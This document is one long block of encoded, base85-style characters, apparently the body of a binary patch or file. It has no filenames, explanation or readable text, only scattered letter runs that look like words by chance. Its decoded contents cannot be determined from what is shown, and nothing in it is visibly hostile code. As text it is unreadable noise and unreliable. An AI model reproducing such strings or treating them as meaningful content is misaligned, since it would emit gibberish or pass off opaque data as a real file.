zfnZ`CsV*1BF{&uW%8i%XGXbkOxjph&G@9ioOz<9U;E#SNF;FAo=Ww9Lc%ou}{`}dSqKSEo+>fD*ud8gE2_J;VSBr-fBDn?(8 zGGS-)k^fV_i+uX`H1QUsHSV|s&@d!3Fc{J`8M(LT^ZC*rB<(Rf*nYLrcsF$e z;QO-WQ$c0sT42>MS-p4X3bAdG$M#;T^^E*ZQXjQJp%l3~tM+QMQBNd=_-BK0Vm7a` z(*rEA{x4(0nU{ee5$p-T5+1{$hmOrf3h~8FJpVgh*rSCCB!J@V9j^NVIQ$-~8;HEX|PVhF2*QDbwj2(maC6D$JLuYINv|u<2cw_+X;(3mLF*Z^%Hkoz2 zHLfZ=28f~gV=01O2rM=Rzpk+bGbJLwIp@69h@saI37w~nK2OMno%Bl+Nvm23$x{Nl zUtXN`)RKe6OpQvYj~0jk)!qi8!X5q~e~;;{UbSAFgx9dtaPQ4{8O_a)B9hlVYq{ar+}5og@{30GxcnZPq&glYZQ~3P{Wu1 zP}W5+H$G)#;0dfGf+w=8$HYsH+mT`IAAf|fO(PNSF#nAg{B97`bweJ5S{0L}W2AzBL zB&na7P7Bd^*Q89stP_Lb-Kv1+Ip}J;jj`gUY?wlrYy9wYdeN*`Q%4T*M zXd_9NmO4SG*nQehZ|m&y413=Kkxk}|`~DhHNrpk7)344nucxfE2!L8my8+@a3V#N_ z*43M>79{83LE^Ss_4g9u>fzUZ+!lyAG%F~M;h+{L{1R+O;h`CfKU@PPp>oO;?PPeK zH!^u*XcVSKxuK2y^}YulB!%5gAYZj8WR*^p0`Q*k*-Ei_D$Naga`>Ef`P{GD;Hz8u z;c{Q)y;U`1iVOn%p-hLb9G+0x-0c6y+*?Lfxwdb=f*{g@fHWu}UDAyxE#2K9A>BDa zK_vwNk?sbGNq2XLG)Q-M?Q5>J{^Nb0cRzdS{;yI#By$Tg`R1T*d zq=ih?-vp*P?|k2PBnz!|(~*HRfYsLE{GnX!f!GUR6@Zhyy}_IjxIdUDt_B41)hK9E z_mtS&sY)wkHip-)MLb+D5L%o@AK^+w-h;h?7PfYB$G3pmzS_w$MK37~J>dm%^X>i; z^T$spVt}-G@V7XQ4@muT?xH1EW4U}%Hn^$6pTmhB*=eqDQ|Vh0_|BBM#dWiUJUkKy z(huc(Hk)OWbdT~(oWUN)TUuj-vtV9vE6Q5p$JDwpP;(6YT)#9CtV6SyTm$U~{r2Y$ zV+VN5y1iwWHsfA_V6`@A{Q=oWeds_VZ|Q9X06Z#i^EMNA$?!#*EK_rK63J@)#g*^o ziy!0C@u&IKV}Au=_TojX1F&?OPMOgjU7yWofvAk!tD1Zxpp;gbT>7|wZ@DXh=*v*r z!FK7Ga^M4TYL9@>{56At9w5fSTfO|(9x6^}3B1^SD5{{AG2Mr_uU`?=T!cJF3rcB6 z6yU#st$OxwWwg=fcXK7^pkJfVBh8sBqxe#_T{PtL!}kb0RQ@X67ZwCTBz)zs^=&EL zPu2rc0ib%Ug={X7;>~0%n`&OLs0B}GZo%WX1PlCbihgak4^j3NW1HE!_>nM3IZYfj zwPFf{3rti?f}=JUaX+f*xnY6lO(8Gh-ujFi>X%1k7*C$WDC;%^Wf zRR2c{Fty?(3en_2VjH)2G=2okSs#IZ%;4g)3VtMhNb?7jUxzF7_`J=JVO}r6%_&I} z^{dOk)Jb~g91J+1?Wv!ycMuO5saft>*_2;C&rmLPlwskWe8FBF8vGq}U4tW5o&SB| z?zD%`K^fJg^{}M(rA;1(_gTFw2cqX1h^9tIc*<_2{fR}%krMD;$;7dVMHP?5G2D+I zKb`12FDefmDWNRf4qIv1Fv;B{@xOj&Np=#P;aN5$X(L2MbPNu;2~^!8x4PLnH32!x z#m2=_&N+2kP2=93#cyIcr4da`f+qnGL5s1-%F^wCNhg=`@|L-0YD#c>wt}oFg_YZW znFh=;{5@Rua`f}Q3PyL$?b**LW%jogFFjW=bpeDwWz$p8Ls(elRgQYk$*TcQ+)Av! zL)co(!a?i*Y47p(#>tomj>2e^x+mL-Mc$HeT8Ryt>S{pqkPQExH8e%V*>?@G5!As!Pz_ zX_tHcfmKVOuSttx35w24R-GM^(yvT&pj8F-#e(=q6H=??bBC)&Gn8lXDd{N{|_LU#C^bBYa2f`9TtEe+QS zg;Y4r)juZDaahF~yk*okVW!CpNt(($nO^_7sFPfUgK0{u#yN$qg6y4^K9em-tFY#SnlQ>cnK2<_BB&M>r{Ii1Dzp z;PbH`PGpJ(hBi*ulj%ZFOEa8S6f#^yj%X0R;WDqlv!Sl?$2Wu|DY@;Ho8Vx}3 zf)GT-&0u2Ipn1t*e67~y`}M$<%Gbm=f_(dP(M0wR3BM~o)N)MTDE~XN4YNG`6^&7$ zrfk|$vr3LGt2Wp?N#MUgUK`Mpk8SXtd)L*zHAYWswag8c+)$v*PzU2X+FUL)x%>xlHteEc|E!olrEtMo@WO(GOUR3{ zT3C&q8*P>E;0tl8nmorO*bNn|t4`agDcJAIuTn4f#HEblb&Lo6iWsR-@w5iUqG zj8FPqkx3rw`^8El0(Aenz^rNoSLCn4^Iz^}I5nt7Mp`>Ql)^9x8po|iKmL7HOBQxV z2AfOW2yHo47%PE3!J3r*-?y26{rYfP*gy*>3&Qu?V*;hAF%>wh(&5R~;@`D$V0CBg zOHkFx*b!Df{+BcTd-et54*q|1*yK9*p|QU{{?T#YLu3Q0^C-ofDaGms7Cli+-*Xcd zUjD%e0~LWd1m4Xd!=i#9`wcG9lYj4K{!{SY1I2IN{|Ch{q=QMm#(E2nSkUny;9+w( zo`Oz&7>LPEU33WfW9$OI6{LeszQ%M+3WrwvA%G!@fZ%SlN#G#F0!Gc&3)Ck=hdVB4 zj4gjgap0GMbWqFF$CjP#%{FZnHGHQF1JqXGa^k9Q8gX<2Os{_T7=bTWdRC*+<7}O> zeTOoSJunt8iO(f&(g-T-ux^?kVS%q-3` zl*j91&);mZ=$!+=1h?&i@8$C>{{C!5C>uykPs}};uXaQAINcr6;RG6pY^AL7UC&cf zZue`lcy2esPE#umSi|6EY790tGeWif-82w(D2;{Sb?~-Q*!%YF{b+^@#e&7_4@c&6 z*KZuR#;H^+`JJ!112Bm`09N3%&TV6pzk0cqWNvv138FtVGBCszjg*6F>mnge=ua3h_|of?eR;|8UI=TFE(@iKzd1p2O2Rwig?W=3fCe2Xowtup^x>j!V$6>vQ7xE$X_J-i|*q<9+ zG0aui2w`Kl1BfU-5Gr&%EJvFclaV3rj-n6jPvA2-FCTI62mG1H)u#JMtUgU^`)6m8 zV}w-ld|p#%@82U#>eP#e&3)sr6#MIX?1aS~Sd2X2c0EVfo&Ka&#m$qVJsH7$F+c#5 zWo$<6Absg`k$PuL5m1vlxz#sVqlP)t;6r9-msWgqrXxZ8_-@b!4e0xQ8}uHP+suDy zwpeJqUH@6^^&QQ`fF~2+69esL^#BH04Q)zw6(Pd z^Cmg~i67cs%UNWdSZ~)=oxW^qys%olIHBWNIFqmi8hEC09&Obf! z;0a9;eUKs$pO&wOD&juX>UiUGp*(Dg^(q=A{JITQHIH%`dsQasKIJ0qWmO=Zpn+ar0Uszm3?k=!&KJdHzOy4fVbWHfcpp}Q z^cj!dVk+_a4YS4}ZoMv)5QONtE`C^xbW7m2!!8E5=4L_<1Oh$M))7y&Gg>0C8op^> zKml=d&lMZ5y)){1xG&Mzd^o4&yYGS8!0MdyNw`^T64x-7O6wi77rP}Xi7)8+5bRx7Y}b09r`Y{8 zU}pktgM7qC%k!&!Nk#RMCMDzLW^?uAJNK75OrO7TKkjmmT`GG z^fbJF-Ii<_!xUz{K-Hr|!>=FNxZ0=nh%702>U*~uP03_$&3W9B9H;l5hXE0AyeQD@QjV^!Q31vjovN6647X^ zQvZRPbj;JIf*2W6G4HpN0&BQr;zW;dU98BQ$CCHX#7g2-_Fr7|MFpuc2xw*eqY=j!L#O< zqnB*%Q&n4-t*x!i)61k=u4+JlqXt2s>;IB zQifmG6pziNp_0|P$$h|xOkj|w_p$V@hXWThZ*%ToB2hqsSOBlyd#>820)q_g37AWi zl=&Xpf>3No+!f7eu7;8mKlm0irlvJ3Bn!jo#05QJ1}BP{z*|?e`w8$A+ec|fu!ylg zW+gG@)$p4oH!jhIkGmk(xqRpt`*8IJB2Eiqtk~Q|GwB47)!!jEJ%#IxrGNgcISqtc zY8;ads@V(~H)x?^@RY&lOr0VaA8@<(#tUsBuOnJODdD~pk3V82p`%n{5I-fRqZP?? zI}&X9LJ>ITa@lZprvd?`TIn40gp#z_%_F8PP3mfK4fV-Wc5W68L*Kb#p>2J0i~Ig1 z^Ozp<$5sqJKG=zEZ+XZ<-3em#`VY$9z5v(g6W5%pPMa!TubwZdfS~M|aKV?GE}0{+ zz3(nfL40dsCnRJ;%;S!e#HgOlR5B`~DYg^di+d*{i(1 zIDF>qNKCmjG$eVuU!+%)S#mT?(E}VeO6p1Mx7nBJXGmHZqN#!xGTZ=IZk5XR`&m`}kOym{Y+zFzQ zu&F0-^@w3qk)2;6>Yop$0MdgSk4}|6?n}S>pi#c}59wi;3Owa+R4_HG?s}>sJibA( zX`-2T8X5RiXs=6Q% zW0HY8eDqnK_zl{~wBD^OVG6pPJu8?m@VMG zji36==+VMn7F(%t1e%tHO@Sr{Fn@oH?6fxi=4;|H>)-mpcFaH(UN?H)IeGv~O9io| z`DK22mnI*}QTg>u)zLzo^WLwtcRI?7eyTbz7;#URNi=wMCF7=dXMJ+sqrYVyD+%aJ zN&)f&;e=|ZgKUtf=ithh)2@HQVc-cCTIs5=q665c!D=$nTx65KAKM8Mb{k++Tp? z!fz$;oymjHAf@28Yy5pQeIDdrhX9IFGCgIb~PKP-pj4K16B#zS1aG_4p+6;r*MQ|n^q9p2;Zi(*kUFi?E? z>J?6+&#hbD3hOe3k~^DffvO7Paj*>6JIbfznoh?pZ&{f!)o4>3&i55Y)L*(c#5KI?M0#!bi~IU~NiG+y8oB_*ni%ajN?)rm z9(;fp0OA&R0W~VRT8Ko*d*-V_++1B>I*jaa2Z*n-g zCn!YQGGfu^=#(+adSG|K2&FxF|lF7!deyBP#MA?BK~=Vd$6`l`8s zWfo)DMRnt74L7GmtKQYZb!2fd9&$xDEABL)J{rDcGC0gFwL)Kza3>|lG)D0KGB>C=pIHpuZ++t2Z{@X-8FqY1U7 z&Xf8UjV3!;0kv!pF;{1iieku_D(1483jVSG=%iP>-iit&24vE4Yh2ArBy+Mp#Uf4I zHHTr>&yVCNTf;>3e+VVgs$nReP(P!SQXv>EiGKbj-iq*0CX|PtUy4fcTgMARq4`c* z&TPEFLWR;YZUcajD#DhgqF3Zx*_=~w z_Nc0Vn_%;Xq>HE8@gPFV{j2PQl6rufPXT=0Zuy%2?wBIqLLI)PnTw-`Xb;6Ez%s#! zRN&ycv__QYteT_0x%cEF9^>~cZlv)Ey6BQhqa7-fa$&YWe%CmKGqazXE*81WKZo`#cyoG3{ z^#DlOG*sG*k}~-9-1Ws^o|y|rXcmHnN&dsGlCQd0U<9OE^9=Iw@pCz9R6|WpL;P8@ zo{RMNUp%i}-K*nDc$8|GEPE0Jy&gaynC}Q9is>Rx^&|4@G)e_u10dVt*XNkB34#gF zpbuP#%?`pih!M)@%6p15`eKYaMGy%FwatUN>(`(u>sLqt^E<`R>hp#m*6z(^io zAFKs4mk=@mcO0AgivT*R*^Hh*3z_t@`Mq%3`_Ny{>dp^wJHs&fTwbcHBh0yPF^+tL zj=K-Wo{?8@dY2U(7_2PP*WF)P0kLwSx&8sCkG3a@Fqc!FGfNJCT8gu&e}k0`Ew9~f zKxkcY505wjS>2G@9}L%qSgC2xl$Sn0bpyPvPGt`oD^7%OZ_ehi2ypY@aRGC*ErPkB zIUZ2sv417ykCqfXv998Bcfa@*6{DxvQD?TNyK=2K^5o4*e6Vg(d>CkO_$K-qqe=#T z`wLNTp>F=;a-W^ItHVm(HoID=r;-`&w%#IGQx?ZH0`Yi`>Ns?Ey~c0O{T$}_(}Cd| z5+?w@fyJPiGGD!3v2Szzug4ssdGVKqGln_oyVqW#*CrA7vuBhVnL&WxuwhKqg3)#@+UX##k z5XLS0+8ww`&}x{6-ZoOCXEQcu3e0o5$cjY$J85CnxveOl-Vh5o&wO2!K1 z&8#E53JCnp8#qmvHm=Da930%5ejF-F;vZr_$513HnTh%k%`YaaCb!Jo(lB}aNu z(8zJ~-ElSAYr;bnHyy6uOJ>U#!|Qr)ydI+f(=5eHu=Q)P$d@GWQF!Ob2DO^xe+{xQ z9wdCfFKd0Tf4zJ;1q%x+B-(~Ut&XeAO0Npb-Q!|0CkrLps?PmnGdEEE-sKb-ucct0%_#= z3)3Z#;}-zmH9r1y0&?7+tB@8zcVIC(*a-o3j1p0AOkh)((5)XH?MwXn%to z`hayrp6bBrlUi;JS9NCV%VQA zXLmGiU3+b>1dAE2TaOhA-*J<^2wnf?N-X3IkeU7ufDX$;99t@tTPCUMtCfs3>GhbU+ePkf=X83%61{csDbXoJUPhspuYfJe5#`o#8F z=jB{cNG(18D#MHy3O_cSczscyi~KEJbmkXoGkzyR4-Y7)d173y~mieNaMm!Bmv z&(i|Jkuu4fjKffwao)nItHKC_&me0WLc-^q>UvCH(X^QKIgu_JrMD^6PxkPd$MInown`JNL*D!4=6zR`H{x)jpNTjss07>Ag3oF>pt`I3N*mpA?=NrEaf*nhXCH%lH5 zt)4-kVj0gKanAY>RU*dk!}zmf=41E?zLON3AGU^~7-_qI2tT{+u2#P`ZPLKs3vj392H( z0fibjX>?bD(lV1EJl7f(Y25e4s_svrEBL)S=?u;7Z{n1xv)yP@Mt^EBQLKqek+ORh z!tpwrC*@O?1{V?HKF)gJG~uTny&}EC=mYC)@5@`1S%xGGTN?LP+U3@k=q9VWTlOY! zVHV7}X+>>%?~JM0?GHW$`Wf+%JccIwI!QrQsu3~w!t<-EO#G`cd+=(=mBfFcdXmmo z;$6l1ZnhkK59+06qN)|z_O=!5>&xbWdz4wX8bMFb=XiUFB!rNIty+pBDOg0SQo_LV z`apd1S}RmM_pIip)M{x_(S$#%hV|DjC-bafmeM(VXvt^uVcbNG5p!1I1q?2;0GXf0H1XCV#Ps6$F!**to^&@is~@U#S+% zDfVQI&#V_qk-uusiaw~ySS#ct@QVGCs5@-AzeGxwb7&e56KkZ$_^xb8c;?x1}q z<&llK);yu2f&?#8PYD|dx9y`ZUxqBaoVLb4uunbL`QLF5(Gt%p zfAymuZ{jK&kzsl(eTSZg2Db25rvMbhjhwYs4R{+%E`Q_nS{3cfjzUwCMDVDd8KGsf z$nYBOnZ^WxyfT2GvT~%!oTmCq^sw-06g5@!(;X+H_F(Y?!!{YC-c6n7r&HJ&jC#2$ zlBt2v6e1Hqi=_>FmNq`biNGj7U8tjl%MxWk^lRy{3`Fx&+nYpo6{<^(Ag^=|AZe1{ zyN*ojWNB#z3BjxP0e(f^JsdRES7UyNROJd;K(Dqlpq}YUnScd_S zP)nri?-rd`O9@m@+HYB@3rr}=tkKCh(W;J?{YIZ*VxW9LYh*krpEsX;8C7(0gxX5x zL#(*Mf`m?}@2b~pCNnVHft@`@%GqnvxNJ!MWEiALEuKuoiFBX6>IfDGe995_G}U@f zIJhPd|6*Bk-`2gdygS#TCkHi3?~$%o2JKYY+l=;RH1r_(4kh=RO-AOe3&%OnYqxW` zsA3us{tJcZde!M(xhu{gu(b-b;`jv23OC>Jl+oE-6fTLz~u#95Z$< zF){c02WW|U=WAb3d4qnv>s9dUFU@x$#rb_kKx;tdn4w!+pkKee)lq5++oRi_*}fT- zmhyWaLA$fH^ua7hC=Whh{_Y3K)2DD2f^`Ec9#5B0CA!vgRr2(&PD#EsEI1$_UFMx+ zoKZ5Pq@@{+x}rIOrDYEZgPfO6Rp7icEQ_(+p8&w=0Bq@Ma8d+`EfEkbgH+f`?Qp= z_y$Kp4vu1AV(REU)QnGSpkg>@-2Pgq`nzT%eoKtUJQzbqsfxWCZfc3-iu!5sQ!b$eZ0PVv5un-dkWQNP(QrDNjE? z-F2X3w{>bgrXdob7Ky^jcKxk(Ip*xa>ZEhY-r-GfaIjd|?(E~brA`SZD^$dMWb=tL z)^|*q2TD(vHFB}v8$XN#V+?ZsXHsoU#vjXpHQccMm>}~&1?qHrHD?ErLZR2reniUe z`jOx5w!qNLX1E=LQKKZ?o$RcvJ^RL@#U0`NBG)A|+UTbg?W$W+*Ps!E2Ix$q8E)aX zCVZ?fL!h2qRu>+O6O=i}>#XB_oA}VF^Xxudo6NZrX|}Hj7DqgMM5MXBb2YClC)jhM zX`}Kr>+TX!u(#TjmIcaMA1}|nChFiS=*Z?^_Oe=@&Af2S09*i)Le5y1)94dK#DEmj z0z$gPr(NFj-ZccFp%@mGl8mZ@>lXpEglVd%yIXDP$Mu+pZsq8sOgbg_JJWSVaj(r$ z6-s`n=4%JZ>QocjsUDd(DIqI%`8GtbUQqg#txiXve&UqeU)?I=O4X_1+2eYd?Hfp(mV6bi?Gd z1eHSEsCrBc1Q|JItgXoNgFT%qE!tgm5HzY22ASBbF=znbzpD zrtIoUT!xjR%rQ5v?^io5kJHUi0GiI#5BjpQ^6Q1!X_iH=BC>E7qNK&bG#wz-<7s&B z#=C)NKLIc*4mz9jK@tr_lf`)jJxd@Ea1W-tF&2ysTY0K6td!L+ztlTrnKZ7Ipnemo4ACr(rA?jYkrtp z(;P2}muAC*9Dj>YoJ8N8;JWsb?jgt!I8|iR0zH`~U`C9YRxyDrxV*;n3u8gCka(A2WRcJc&loUv!1TKG&W2wSiv^qnbthX>|v+MBJjp%f#J78B*+L(he38evF2 zWAcp{Bk*Y{>bxwx5Dmak95XIUA$}!H`YvNwTEd*%V&c|@*k#9^*J1qmCYPvphtT${ zbd-;~;#sf8)koVswjkdj4`i)*lASqa*t75YBLS!LA-q^(QAWaP;toTSjh=fBGSDda zfmto3<&&M+wY=e8tf8M3He{di7{PA;`_h_DLv~E}p|(lhvYxp)i>~*@Yn2aDyx%Pv z>V_q&wvcpW_6W+%w!0#;7D0+Gjq(ruh=EAxi}+Z0IeB65K8}kP-bxf`ptksMafR4( zW(wAO6_IHa+-@zeRnz2CWK#LU%TK7^8l;OfN&_~Jm8$HipgPv(A##F=Y49Hz=glD_ zK1uBhPwzi=k_va(0|Nkv<5ZN31=-0)2vY(dfkn;5Rb{Ok$zY)u(edV_fC6IA*XXIJ z2NJ}>B@7v@4G5VT&FPfO5;Cu-k6iMHv2wiqFKx+|3@;O+2iCkV38I;`Qs6!93(l7o zo~kU$8e+LaG=2z{q-TysGra5iaR@5M8}vwa(bbj9Tn!$oy;?L=T#4Jre52)(+IIIHe=bDnF218rt3sZF0HWDK@6-Llf(mX~+IlW>iIyuU zF6%!XJpbrf{x`Qz=P&qJAhPK&Xi>8~kQsUg+Jg0q09wKN!)!oTTdFd+V%|$=GSHzt zSR;IDf^DT|FW;T#yBR*E$A>QMg`u>LpXJs>pkv%LI<4s5n{Il!m^Ck7>`BYbyF8}T zXT;y0)Nv~YrCU+Rml(D$siyB-c+q*WxJL#Ig-AJyHGgeJf1{))g^vaPQt}85kL#bT zGnIC;;c~avi1Io1E5;^(7-2`9D5G`r`=9!hs+s z)1uDZX@uim5<$UF)8BcbAZ3p`9U)U?(@uqdU>^fqs1YpvT|Fi@-7I+7^$AKm2e490J+utWeX@E1r-B@q)ld*vO5Nnc;y|MrwGvk$Q{rKyAkvlN+-eRUq`INw(yP3W%R{vo%`YVE z6W;OZ*zFm!-0vA^Xq@hOj1h{FBb42x-U8BZe%P)o{~qLIJfefer- zTF@x+5-s7+VFc3hCc( zk+BGbHZrSeXcGD6(%X274|$Gv%|YzL;mT8j3hbZpoYoJpv6-HCiA8+?vVo9q>vr6> z`{b~ICfz!ZWT!1v;Jwe%Tm$*H&-fWofbmBmHUi`wiWg`?L0)>yt5jf#z;29taix^6 zQ7YRvpF8HUK5`~1y7Gle`UN*PT3;NOXiqfb=wV6yxAg>JS1UEGex z1k^hb5M#q?8jSj#{jHTnQm+G0!Dxfw>~y(T82rVN!OXe(S4OS&!Y@|z?3C~TQr=#i z)&Y`CC}0ycpy>+?3(KMLSNii$hHJ>kJv|sBl@E8Z7tjHj7mqw-f ztEO%ysX%p#sJ&8COKW`b%!IXJ3Vm|a63~K zB1MU_iwpaD;{^f~bqOr<^+07l_FRTI&@9odeb6ntB4qoL=RS1uq|>3{-{ruaKj6jK z@O>^!xC{+DS_TG)fOuO`WLj>`JK*C-`L7Hr*x=+KF^8T&Ai5e^kIaYNt@zW1gV6lF+LQ6P0C4STqR9_3q>=Gon6i@!dVXA3upKQ>Ln1rf z&9S5xkW6)f9QiDt^EC@yHUIYc24Pmo2E_uaz{-XDRF%Ay8ovWe; zBA@jZ_V)ajfC%5&lNbnfa8zqdYyq&=;(s{j;OjIm1+AB|z)cyv=hIflz8q zKyZQmbBjCKg_Kak$2lPoGPUi#Ts8ljSA;s8RudnxR5v9=(^5p`s6hjDJN9m8LcpWg zYSRAw`v>3sa=QQ%`O!$rEb4@fw%oG0F5U#GtrR?TJR0lqk$&L?=MDkXdP0*+o?f@U z{#MdC&7frsyJ~Vuj$(%+LV$6r!kJ%%{NfJ2S1~}H+R~@g%y?N^zbM3gE#=FJ*@PQd zA`8V6uipIYswW(P7cSE#9!6$xzMqmQqi_TqThwWst6Lz8syJ4m#`HvU`~0ohcjM8- zi!}y#|Ch?td0(kyca0r`HIK;izcgmK@of_jbY;(0_y}dn#pSSB2jS30%;>zb2d1qk zT+aFAA<$M#Pdqt@rvzPKzezD?IvxUO^#99)1m>lO%`Isx#+~FGr<))yjTMZVM{`vk zC-6GSFBP@F`S$UikC1YKW*e~1?A0D|f_6{TDh%Nv z6%Z24xIaBt_c4k6bx4zDx~+lZ#uNeg@(1|)`=dll>N`x85lBc>27ivCYwjCEoKkL2)!))F}VTx%Vp{*Uk2Ov|< zSy3X&hMG}YPXM?*5jHk9i_<2W)%b#W`U<>RJp5ij;cC?y46*ydV5(Y90*wol5)Lh8|AZ6W`i9ZDg zE3Bm=4Eg)RkN#{G>lf9@w&Dd0n#tovhl+n+Ig))5q#OXo=vK1v4ZNLVyLx-$%2#(d zilzNbZ+dM}Q;-PCSxU-N9`~RVs1N@47Psb{o|Nis;_*>xsnDJkf z6p!=sZ!Qq5=IQK)9mq;rkJq0htg@v8@jt=gj~@#E@hks(fhVjAt25}ybasjUeL4H< zv%;UkN{8^k4H|MCRQ&VDBGE}; z0D6)rXn4dEC&;{5_ez|Lj$zXAE3&z#tu2<~eqymvcfkM^05!+x;&T6Q%EKrGruYWm zl^!+2S+%XjjSUFcwhonfaM{eY=7$M2O%QSZYVt>N-GQos&9FXTfUzStK`keM(lQKa zubW$1`dEg5R|Shq2vMutN=4+?>CSWt@c-M|+OpJ!Hr(=l0!w`ph`oSCb_1hDTUmaY zM_aebx4X%;O0O%&luCk&y3W z=+J?Wi}g2G;28b+D)zpO^XLmVyt*I9{7#>DQT!|=sJ*4fCe9k=C)-AV`JO! zLr~*b5Fqc?-@2Dl5;TF`bkh?c2X7pB@*xPP9ZZHsPXo{h(oaS9j$mD078d+>yM@_W zSs1ECy8cDuJ|RFLgTtUcxO>26K?64o?m*N0Jd)eds+ZxKuP(Xj-qG`MmLS|0@^Q|? zz{rt6HSs%t&#;WJ6p8eY!~R*m{UdacDnQ`|Ims!+~t;DU@Xr{&PUb zzeX6#Rr_GvN!XWN=Xt^A>3PFy(fUv+AlJC4Q0EHQ&mUe{cx;Z+`m3-*0xxt3G&S-{ zr8MS&4Jr=4A@G(v_|w6`LsWDSg!wx8tZGFtNyr7x`xdfq>+(7(SH*GKtkrg7c!k?} z`xK6Cvx+lI_BR2sa;J+TT@zbwn~$mwbGD4H+5v8=DC)=$eqa9q}gX0H5Mm zX-&5~*yVDm7HHllBaCbV^Zt~R8Y7BMtxO|vqE<&Ux#H!;;m>+6Bv^zh2FdhN z8m33A-&gF9j9Qs!)o16zjP3``uW`+th?Y{}3*3{E1RU_-AWw6bOA+2r_(0)=cF&Oo z>k~hBI>puk{<3U>!?|u!X1%C4Lb>G7E5o#cZ${els?GFguk&~0-`#(4l zUuq9|%$OJHVuodde4W7_QcOuVrIdeCiJWoP{^^TV$i)tbiOTnoMO zqynq|bhQSNwO%8F)@0Oqqa(!m`Jj5TjJPr?vY7YUYUDZ#W?JZT< zKoVcrB1OQjAm-={8hJijeIKit^8yt3`u&#_o=1HZ;FNq4_>o<>VEOQ-P!iXv+H)7P2nH3d6+B#xX1U~BR)X@v|J?mdGPj+UiP^IhD z1H!}aU00hi0~|soFO50Dl=U=J3^Z}v9rrMh#F1(OKwt~oa4Swnr0zV}H<6)5`M+|aJRY$t-90Kk9IUr2_~Q5)Dv4%EKex`8@@?(s1ManA7UKUH-yM;}-l>fgtI*+$}ot zOgB4N^VpF`KNlM-1_nG>j5WJugjiox9N0ZpC>2BBo~uK0+8l2`$(taDcy-k>>6Djs zkI$8^O;FYl5)$T1S!+cn$-VaT<_UZhMNOh5 zRc3XD*qR89%^d+%#5l(1Jp+srW|Y|l1tT9*jE4)gi&4NNR2XyAkiWU{4dQQIk*i*TsN7C^LnoDwhCVN_O!z620u zmC5-B=$q5T;@nUIXaw#}-^6@21_G6Il#H`j;rUNg3~9Hu#^gs)2lTPs(UFzZTxsLO z`;uNOAbM1>M4S0{->&;`!0DBpjnB=?oomNQm0e}KXb2)|a0CStJHdV+f^ixpqWjV) zwIdA#pREfe7tspSL3%$u{uCA0*W!539eR^`Ef?e!4D^I%k6Of-wC}gXh%{TtwoV@frT4hxK zp`SvRzyRq4>P@4WN^XP)m(NkANCfP0ikE)vF9z1_4@)!Wj!D&=ph4YGo-pO3r3V*X zoM*WQs+EA!=;gvL>jN-!Y=jN#Hev;N6$|p}K!OxHw0xdZ>2y_2*f8GJC24}0^iTC2h4>D< zW&y5zz;<9)fZJo29|&I2B?9)Rpj(6Kl8-@y@&VZCsI3&65F66kB*cG$Of8$+>Hcmh z?uRcgdG+{zRh=lLb*EE#_?%WOU@&L_{Q#P);AN;3Te{L6#euk2hTF-RDH9uNJzcLR zLW3-JvT>C{i%)+fxv$tRQfI%Ci_+fZnm^@uwECvCL#}DOV4echXX}%Bd{Y&caWu(P zJKwo%1cAW%lgRz6H209rPg6E~4wHMh^lAnN%~ZMh@4y%qJTTq|P(knMnkTnF zUmsKkn+V^&YaRRuDNuUp2duRDZO_RD6qd@mS*zVZrkqOAXKybd#URPI2DBMgg0W@- zTVC(x>i^fsPzUj~Nd&8b37T33D--Zzqh!h?20VL>lI9VHIl4A1MzH3xnlER&yUi2D z!w)+6E0h6KYX^~;xrfc54rl=yM^GD>WIGne--k^n5yq%KUheYQh_;725k#_++w>?D z&6IeGulC0Vf?e#=TwP7JRz)H2IJU%CPj-}@{Rx_xOwtE|hTG5U>kqZ-+|fym1cvg= zbQs37an^pf9r?R%6$1y7iAAXf%hvoY7NHRa(-6ym`KSKNCHOzC5riGa(Fh^0 zBK(6-_JtQiWP6o7Zf?Z$XCIzVE?=RUgR|3qD>RU-*@o>L(`UCf*V5r`d3V&xlU|19 zzO}mc2W38RM@GPk@eOl(y+1iAnWv4y)|uQgR+N8m4Z@>fa1bf+$g7usaCwbUAX#|X zvtXl+K_ch}+*(9_bn?mfER>5rXTH&6V;3^}limVNxB_CLRI>Brp$d&+B?}>Ee%Q0u zpYcnoK+OiMKtVlfg~>*ND3BeCxyA2A_$fLLpJ#Luas~J;;?``AFVf` zSSWtPcEES$a6EvHma z#s(1LzM5<&o^MfJViJF%i=v+t&=0)h_v<54%i2sXyj>M9^FA_Z+2VFwwps3sy+1}D z!%>T7mM$!YQ|WUD2S#2Wh@p32c(OvRortP;uE-WQSJPJM)syd0cXTAH_H9=8*gg3B z@e>xq`dPQe^{PX*8E6g^svT*AgOEkW=%SqBxb{k412Ql(!g?><%L%QP*{@8hdPev4A*p?`X$@z{V0ra|{_k=vpAFlRmecYFCz#&0F9+gdGLj{pX z&M|wVC!!2G*Ka=qZbq3!i*xNnDl*2c8+O>i&(-QfKE4#GwqfprGY#!J@5ksCYOJ+7 zRpIFP>?k(%lfaXOSiM$>wJUA0RC1O50;eVT=YK%n!iZAOXebFiyk~fBJNV2(D zB6_8Y&!5d4pAbKK7@;EQwkZQDRSwwJ9)rzxTy!^a4H8@4PpUdt+-F*&9|` zvIRsbh`u=AR2s!h1*Ao${a=)wby!s0`u7z@L_icpN=j531O%i*>5d_WlI|{P0R@zl z?rs=*h8$8rKtMW%QW~TgI^M-|;#cQ9&w2fW%gbvnXS4TSYu)j^Ki`uu^9^pF+gy6; zpl8ZvdGh9prSJNHz(@;mCL^1~Mh41lqHW7-G|l}t0K!zYXU&Uc+4o5NO?yHgjSnUM zaEZ=qSCoRmEtmk?{4eT*3d&7G@wpLo-BvUi_lwDP97?Zo@=Fg`f%)Eihe8Jsv;a`o zT{mj#*>jb=OR3?8h2&~Jpzf)VuVoQDwPLFYA@$>iHrm`N(*s;iw)y8jlR~wI-6mi% zShy>*WOwi0wMcUBk+B;Y6M9J2blx}IQDH1i*2whJMB~%RS2tYr_?OjXS0QT+zXU z7frh6hwNSFci@egrmS?xTNAjaX0{6o^6J1fK(!N#qUhI0ps>$8L zUwCy`G3k|y3(PhicdXk{au8tRJo=&avTJ#l-*JA4`JH=+Xez&3faz zE*PU2w|A>29G8ohjS`BHC=Q<{sx2&oP6f3q9>hVD`W&x&zB_9UlI$#9i*|^k`ivPM z;=F{`63lO~PHevUc{k}M;M9L^TA)9)^RIRwfqkAX3jK5pJxSJtQf|-7!VP ztG_-`P&##J*>VL=arb!G(Lf}@I9s8WXJhm&i*Rzj>zB>9(Snr@i=R8V^EvVs>))B0 znpRn!QryD(oi#Hi;}IBc*9mm|5M|kEUib^o@oW5J>8a4lM~>{fGj6N9tRo(%2r9}~ 